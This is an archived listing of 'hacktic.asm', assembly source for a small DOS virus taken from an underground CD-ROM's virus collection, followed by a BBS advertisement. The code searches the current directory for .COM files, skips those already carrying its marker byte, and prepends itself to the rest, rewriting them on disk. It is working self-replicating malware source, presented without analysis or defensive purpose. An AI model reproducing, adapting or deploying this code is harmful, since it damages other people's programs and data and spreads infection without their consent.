home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / h / hacktic.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.7 KB  |  71 lines
  1. tic     segment
  2.         org     100h
  3.         assume  cs:tic, ds:tic, es:tic
  4.  
  5. len     equ     offset last-100h
  6.  
  7. start:  mov     si,0100h
  8.         push    si
  9.         mov     ax,cs
  10.         add     ah,10h
  11.         mov     es,ax
  12.         xor     di,di
  13.         mov     cx,len
  14.         rep     movsb
  15.         mov     dx,0FE00h
  16.         mov     ah,1Ah
  17.         int     21h
  18.         mov     dx,offset file
  19.         mov     ah,4Eh
  20.         jmp     short find
  21. retry:  mov     ah,3Eh
  22.         int     21h
  23.         mov     ah,4Fh
  24. find:   push    cs
  25.         pop     ds
  26.         int     21h
  27.         mov     cx,0FE1Eh
  28.         jc      nofile
  29.         mov     dx,cx
  30.         mov     ax,3D02h
  31.         int     21h
  32.         xchg    ax,bx
  33.         push    es
  34.         pop     ds
  35.         mov     dx,di
  36.         mov     ah,3Fh
  37.         int     21h
  38.         add     ax,len
  39.         cmp     byte ptr [di], 0BEh
  40.         je      retry
  41.         push    ax
  42.         xor     cx,cx
  43.         mov     ax,4200h
  44.         cwd
  45.         int     21h
  46.         pop     cx
  47.         mov     ah,40h
  48.         int     21h
  49.         jmp     short retry
  50.  
  51. nofile: push    cs
  52.         pop     es
  53.         mov     bl,0FCh
  54.         mov     [bx],0AAACh
  55.         mov     [bx+2],0FCE2h
  56.         pop     di
  57.         push    bx
  58.         ret
  59.  
  60. file    db      '*.COM',0
  61. last    db      0C3h
  62.  
  63. tic     ends
  64.         end     start
  65. 
  66. ; ─────────────────────────────────────────────────────────────────────────
  67. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  68. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  69. ; ─────────────────────────────────────────────────────────────────────────
  70.  
  71.